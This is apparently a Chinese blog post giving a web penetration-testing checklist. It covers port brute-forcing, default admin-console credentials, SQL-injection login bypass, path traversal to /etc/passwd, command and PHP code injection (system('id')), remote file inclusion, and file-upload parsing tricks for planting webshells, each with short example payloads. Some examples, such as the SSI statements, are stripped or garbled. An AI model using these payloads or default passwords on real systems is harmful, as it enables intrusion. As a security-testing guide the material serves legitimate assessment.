漏洞挖掘

渗透基本流程
信息分析
拿到一堆开放端口之后,懂得去信息过滤。首先查找常用的有漏洞的端口,因为渗透就是从薄弱的地方去下手。不是抓着自己不熟悉的一直去尝试。(当然第一次收集的开放端口也要,但先从熟悉的常见的开始)
然后用常见端口进行扫描:eg:21,3306,80(80最后因为比较复杂)等等
开始攻击(端口攻击)
ftp暴力破解:Hscan Gui Version 1.20(每个端口都爆破一下,没爆破出来就next)
web攻击
既然其他端口无法入手,那么,我们就必须得从80端口入手了。
逻辑漏洞
扫描完成后,我们需要进行逻辑漏洞的测试,逻辑漏洞,主要讲的是一些功能性页面。比如:注册功能,手机短信功能,是否越权。
常见渗透
(1)对网站基础结构的已知漏洞进行检查,例如:系统、数据库、Web服务器漏洞等
(2)对网站基础结构的配置缺陷进行检查,例如:目录浏览等
注:通常使用扫描器来检查。

(后台)管理界面方面内容
(1)检查应用服务器后台管理界面是否可以访问,例如:
Tomcat控制台URL:http://www.xxx.com/manager/html
Jboss控制台URL:http://www.xxx.com/admin-console
Jboss控制台URL:http://www.xxx.com/jmx-console
Jboss控制台URL:http://www.xxx.com/jbossws
WebLogic控制台URL:http://www.xxx.com/console
WebSphere控制台URL:http://www.xxx.com/admin
Axis2控制台URL:http://www.exmaple.com/axis2-admin/
LambdaProbe控制台URL:http://www.xxx.com/probe/
注:通常使用扫描器来检查。
(2)对已发现的后台管理界面进行弱口令猜解,检测是否存在默认密码、弱口令等。
常见弱口令:
admin/admin
admin/tomcat
admin/admin888
admin/123456
admin/111111
tomcat/tomcat
......等等
有无传输加密方面内容
(1)检测应用传输敏感数据时是否采用加密措施。
例如:用户认证过程中的密码传输是否加密
(2)如果网站使用了SSL加密,检测SSL加密的安全性
证书通过域名匹配检查
证书通过有效期检查
证书通过吊销检查
证书通过可信根检查
加密套件和加密强度检查
不安全加密协议检查
检测用网站:
https://sslchecker.wosign.com/
https://www.ssllabs.com/ssldb/
应用配置方面内容
(1)检测开发人员在HTML、javascript等文件的注释信息中是否包含敏感信息
(2)检测应用在部署后是否存在默认页面、测试页面,例如:phpinfo()等
注:通常使用扫描器来检查。
过期,备份页面
检测网站上是否存在过期的、备份的页面未及时删除
注:通常使用扫描器来检查。
已知组件漏洞
检测网站是否存在已经组件漏洞,如struct2远程代码执行漏洞、Java反序列化漏洞等。
注:通常使用扫描器来检查。
认证绕过
(1)检测是否能直接访问后台未授权的页面
(2)检测能否通过参数修改访问未授权的页面,例如:
http://www.xxx.com/list?action=view改为http://www.xxx.com/list?action=edit即可编辑内容
检测能否通过SQL注入访问未授权的页面,例如:在用户名中输入admin' or '1'='1'--(密码任意),即可绕过登录验证。
用户枚举
在认证页面分别使用存在和不存在的用户登录出错时,出现的提示信息是否相同,不同则存在问题。(不同则可以枚举)
(1)检查登录界面是否使用了表单会话令牌,令牌是否在认证前进行了检查?
使用浏览器的查看源文件可以检查form标签中是否包含疑似令牌的隐藏表单:通过篡改令牌,检查服务器是否有对应的错误提示。(改令牌交)
(2)使用工具进行HTTP验证和HTML表单验证暴力破解。
可以使用AWVS的HTTP认证测试工具来进行暴力猜解
图形验证码
(1)检查登录、注册等页面是否存在验证码?
(2)检测图形验证码是否容易被程序识别,是否使用纯色背景、干扰线?是否可以在HTML代码或者URL参数中查看?
(3)检测表单提交时,服务端是否先检查验证码的正确性,然后再检查其他字段
(4)检测当用户输入错误验证码时,服务端是否刷新session?验证码是否能够多次使用?
密码修改
(1)检测提交密码修改请求时服务端是否验证旧密码
(2)检测提交密码修改请求时是否含用户名字段,此字段能否篡改为其他用户,达到修改其用户密码的目的
密码重置
(1)检测密码重置问题的数量是否足够,答案是否容易猜测
(2)检测是否允许无限制的密码重置
(3)检测密码找回功能找回的密码是否为明文显示在邮件或短信中
注销
(1)检测网站页面上是否存在退出按钮,注销后重新访问是否提示用户重新登录?
(2)检测用户登录后20分钟不点击不刷新页面,是否提示重新登陆?
cookie
(1)检查cookie是否正确设置了过期日期,能否无限期使用
(2)检查cookie中是否保存了明文敏感信息是否加密,例如:用户密码。
(3)检查cookie中保存的关键信息是否可猜测,例如:IsAdmin =no,修改这个cookie 就能轻易地获得管理权限
会话
检查登录前后sessionID是否发生变化,避免受到Session Fixation攻击,攻击者可以通过一些手段(如构造URL)为受害着确定一个会话标识,当受害者登录成功后,攻击者也可以利用这个会话标识冒充受害者访问系统
检测应用是否将SesssionID放到了URL中传输,攻击者能够诱使被攻击者访问特定的资源,例如图片。在被攻击者查看资源时获取该SessionID(在HTTP协议中Referer标题头中携带了来源地址),从而导致身份盗用
跨站请求伪造
(一)检查关键操作是否使用GET请求,例如:http://www.xxx.com/delete?id=111
(二)检查一些关键的POST操作是否使用了令牌验证,令牌是否会主动刷新?
注:通常使用扫描器来检测,辅于人工验证。
授权绕过
只有特定用户、角色能访问的页面,是否其他用户也能访问。如:他人的个人信息、他人的帐单等。
权限升级
检测普通用户能否进入当前角色、权限所不能进入的功能,执行比当前用户角色权限较高用户(如:管理员)权限的操作。
路径遍历
检测应用是否对用户传入的变量过滤了../,在调用文件读写文件、包含函数时需要关注
http://example.com/index?file=../../../../etc/passwd
http://www.xxx.com/index?file=http://www.yyy.com/malicioustxt
业务逻辑
检测业务逻辑是否存在安全漏洞,允许用户做一些业务所不允许做的事情。例如下面这些就是经常遇到的问题:
-允许篡改交易过程中的积分、金额、数量、收款人信息;
-通过网页可以直接获取到短信验证码;
-关键操作缺乏二次认证;
-购买的商品单价客户端可以控制;
-转账、支付金额允许为负值;
-… …
跨站脚本xss
修改页面的参数为xss中的一些脚本代码,检查返回页面是否正常。
注:通常使用扫描器来检查。
HTTP内容拆分
分为HTTP请求拆分和HTTP响应拆分。测试时通过在请求的头或参数中插入回车换行(经过编码变形),以干扰服务器对HTTP请求头的解析或者干扰浏览器对于HTTP响应头的解析。
注:通常使用扫描器来检查。
sql注入
根据直观情况判断页面参数的类型,针对不同类型的参数实施稍微有些区别的测试,测试方法:orade手工注入,SQLserver手工注入,mysql手工注入
命令执行
在参数中输入系统命令,检查是否会被执行。
检测特定的系统命令能否提交进应用执行,例如:
http://www.xxx.com/index?cmd=ping
攻击者提交
http://www.xxx.com/index?cmd=ping;cat /etc/passwd
注:通常使用扫描器来检测。
代码注入
向请求参数中插入动态脚本代码(如:ASP、PHP、Java代码),观察服务器是否执行了该脚本代码。几个常见的漏洞如下:

  • Struts/Struts2远程代码执行漏洞
  • PHP CGI远程代码执行漏洞
  • ThinkPHP远程代码执行漏洞
    注入实例
    漏洞脚本代码:
    $myvar = "varname";
    $x = $GET['arg'];
    eval("$myvar = $x;");
    漏洞利用:
    http://www.xxx.com/index?arg=1; system('id')
    注:通常使用扫描器来检测。
    xml注入
    (一)异常处理:利用XML存储时对于特殊字符(如:’、”、、<>、&、等)的处理不当,导致XML文件出现异常;
    (二)XML EXternal Entity:利用XML能够定义内、外部实体(DTD)的特性,上传或控制一个XML文件,让服务器去解析该XML文件,即可读取服务器端在DTD中定义的文件内容。
    (三)标签注入:通过传入的标签来修改XML的结果或内容。
    参考资料:
    https://www.owasp.org/index.php/Testing_for_XML_Injection
    (OWASP-DV-008)
    注:通常使用扫描器来检测。
    SSI注入——服务器端包含)(文件包含)
    SSI注入只有在服务器启用文件包含的情况下才会出现,通常情况下,如果网站的文件扩展名为.shtml或.stm,则服务器有可能启用了文件包含。IIS、Apache和lighthttpd均支持文件包含。
    SSI的测试与测跨站漏洞一样,通过在输入框、HTTP头、Cookie等数据中包含注入语句字符串,如果返回的信息中包含文件系统信息,则说明存在SSI注入。
    SSI注入语句示例:
//执行ls命令 //显示HTTP头中的referer信息 //包含文件

参考资料:
https://www.owasp.org/index.php/Testing_for_SSI_Injection_(OWASP-DV-009)
注:通常使用扫描器来检测。
XPATH注入
XPATH注入与SQL注入的测试方法类似,只不过注入的目标从数据库变更为XML文件,具体的语句如何拼接需要参照XPATH的语法说明。有报错信息的XPATH注入通常会返回下列信息:
XPATH syntax error: *****
注:通常使用扫描器来检测
URL跳转
检查页面中是否包含可传递文件名和路径名的参数,将参数修改为外部站点的地址,观察请求提交后是否会跳转到外部地址。
例如:
http://www.xxx.com/redirect?url=http://www.nsfocus.com
文件上传
检测用户能否在文件上传页面中上传Webshell。包括直接上传网站能够解析的脚本文件,或上传能够利用解析漏洞解析成功的扩展名被修改为其它名称(如:jpg)的脚本文件。
常见可执行的脚本扩展名:
ASP:asp、asp、cer
ASPX:aspx
PHP:php、php5
JSP:jsp

常见解析漏洞如下:
IIS 6.0 文件名解析漏洞:
上传名为.asp;.jpg的文件,访问:
http://www.test.com/upload/
.asp;.jpg
IIS 6.0 文件夹解析漏洞:
创建名为.asp的文件夹,向文件夹上传名为.jpg的文件,访问:
http://www.test.com/upload/.asp/.jpg
IIS 7.0 PHP错误解析漏洞:
上传名为.xxx(xxx可以是任意扩展名)的文件,访问:
http://www.test.com/upload/
.xxx/.php
Apache 文件解析漏洞:
上传名为.php.xxx(xxx必需是php无法识别的文件名)的文件,访问:
http://www.test.com/upload/
.php.xxx
Nginx 1.0以下版本解析漏洞:
上传名为.jpg文件,访问:
http://www.test.com/upload/
.jpg/1.php
http://www.test.com/upload/*.jpg.php

posted @ 2025-04-10 11:51  小yangzz  阅读(37)  评论(0)    收藏  举报